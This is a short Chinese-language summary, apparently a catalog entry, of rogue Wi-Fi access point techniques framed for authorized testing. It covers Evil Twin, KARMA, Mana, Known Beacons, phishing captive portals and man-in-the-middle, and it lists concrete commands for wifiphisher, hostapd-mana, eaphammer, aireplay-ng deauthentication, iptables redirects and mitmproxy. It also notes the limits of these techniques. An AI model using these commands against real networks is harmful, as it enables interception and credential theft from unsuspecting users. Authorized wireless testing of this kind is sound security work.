用途：以资料中的步骤搭建仿冒或更具吸引力的无线接入点，使客户端关联并将攻击者作为网关，从而进行流量拦截与凭据捕获，适用于授权无线测试场景。
主要能力：涵盖 Evil Twin（相同 ESSID/BSSID，适用于开放或已知 PSK 网络）、KARMA（对每个探针请求都回复）、Mana（按客户端选择性回复探针）、Known Beacons（广播可能被记住的 ESSID 列表）、强制门户（关联后弹出页面用于钓鱼或投递载荷）以及关联后的中间人。
必要用法：wifiphisher 可用 sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd；airgeddon 提供交互菜单；手动方式用 hostapd 配置文件配合 dnsmasq（dhcp-range、dhcp-option、address=/#/）与 iptables 重定向，例如 iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 10.10.10.1:8080。KARMA 使用 hostapd-mana，设置 mana_loud=1；Mana 使用 mana_mode=1 并记录 mana_outfile。Known Beacons 可用 eaphammer --essid-file likely_essids.txt --hostile-portal。去认证胁迫用 aireplay-ng --deauth 10 -a <BSSID> wlan0_mon2。关联后可用 mitmproxy --mode transparent --showhost --ssl-insecure 或 bettercap 进行嗅探、ARP、DNS 与代理。
适用场景：开放网络、已知 PSK 的咖啡馆或公共访客网络、异构设备环境，以及在授权范围内进行无线钓鱼与凭据捕获测试。
限制：现代客户端 MAC 随机化会削弱 KARMA；HTTPS、HSTS 与证书固定通常阻止 TLS 拦截，除非在客户端安装 CA 证书；PMF（802.11w）会阻止未加密去认证；企业级 WIPS 可能很快标记 KARMA。资料未提供收费、价格、平台与效果等信息。